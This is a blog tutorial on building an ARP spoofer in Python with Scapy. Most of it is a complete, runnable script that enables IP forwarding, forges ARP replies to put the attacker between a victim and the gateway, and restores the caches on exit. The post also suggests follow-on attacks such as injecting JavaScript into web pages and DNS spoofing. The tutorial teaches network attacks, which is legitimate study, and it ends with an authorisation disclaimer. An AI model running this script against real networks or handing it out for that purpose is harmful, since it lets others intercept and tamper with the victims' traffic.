How to Build an ARP Spoofer in Python using Scapy

Abdou Rockikz · 29 jul 2019

Abdou Rockikz · 8 min read · Updated oct 2019 · Ethical Hacking · Packet Manipulation Using Scapy

In this tutorial, we will build an ARP spoofer using Scapy library in Python.

What is ARP Spoofing

Well, in brief, it is a method of gaining a man-in-the-middle situation. Technically speaking, it is a technique by which an attack sends a spoofed ARP packets (false packets) onto the network (or specific hosts), enabling the attacker to intercept, change or modify network traffic on the fly.

Once you (as an attacker) are a man in the middle, you can literally intercept or change everything passes in or out of the victim's device. So, in this tutorial, we will write a Python script to do just that.

In a regular network, all devices communicate normally to the gateway and then to the internet as shown in the following image:

Regular network

Now the attacker needs to send ARP responses to both hosts:

  • Sending ARP response to the gateway saying that "I have the victim's IP address".
  • Sending ARP response to the victim saying that "I have the gateway's IP address".

ARP Spoof

Now that attacker once he successfully perform an ARP spoof attack as shown in the previous figure, he/she will be in the man-in-the-middle situation:

Man in the middle situationAt this moment, once the victim sends any packet (http request for instance), it will pass first to the attacker's machine, and then it will forward the packet to the gateway, so as you may notice, the victim has no knowledge about that attack, in other words, he/she won't be able to figure out that he/she is being attacked.

Alright enough! Let's get started.

Writing the Python Script

Before anything else, we need to import the necessary modules:

from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys

Note: You need to have scapy library installed in your machine, head to this post, or the official scapy website.

At the beginning, I need to mention that we need to have IP routing ( i.e IP forward ) enabled.

There are many ways to enable IP route in various platforms, however, I made a python module here for you to enable IP routing in Windows, without worrying about anything.

For Unix-like users (the suggested platform for this tutorial), all you need is to edit the in "/proc/sys/net/ipv4/ip_forward" which requires root access and put a value of 1 that indicates as enabled, this Python function does it anyways:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

For Windows users, once you copy services.py in your current directory, you can copy-paste this function:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

The function below handles enabling IP routing in all platforms:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

Now, let's get into the cool stuff. First, we need a utility function that enables us to get the MAC address of any machine in the network:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

Second, we gonna create a function that does the core work of this tutorial, given a target IP address and a host IP address, it changes the ARP cache of the target IP address saying that we have the host's IP address:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

The above code gets the MAC address of the target, crafts the malicious ARP reply (response) packet and then sends it.

Once we want to stop the attack, we need to re-assign the real addresses to target device (as well as the gateway), if we don't do that, the victim will loose internet connection and it will be obvious that something has happened, we don't wanna do that, we will send seven legitimate ARP reply packets (common practice) sequentially:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

This was similar to the spoof() function, the only difference is that it is sending few legitimate packets. In other words, it is sending true information.

Now we gonna need to write the main code, which is spoofing both; the target and host (gateway) infinitely until CTRL+C is detected so we will restore the original addresses:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

I ran the script on a linux machine, here is a screenshot of my result:

Result of ARP Spoof script run

In this example, I have used my personal computer as a victim, if you try to check your ARP cache:

After the ARP spoof attack

You will see that the MAC address of the attacker ( in this case "192.168.1.105" ) is the same as the gateway, we're absolutely fooled!

In the attacker's machine, when you click CTRL+C to close the program, here is a screenshot of restore process:

Restoring the original addresses

Going back to the victim machine, you'll see the original MAC address of the gateway is restored:

ARP cache before the attack

Now, you may say what is the benefit being a man-in-the-middle ? Well that's a very important question. In fact, you can do many things as long as you have a good experience with scapy or any other man-in-the-middle tool, possibilities are endless, for example, you can inject javascript code in HTML responses, DNS spoof your target, intercept files and modify them on the fly, network sniffing and monitoring and much more.

So, this was a quick demonstration of ARP spoof attack and remember, use this ethically! use it on your private network, don't use this on a network in which you don't have an authorization.

Check this tutorial for detecting this kind of attacks in your network!

Happy Coding ♥

View Full Code
Sharing is caring!


Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.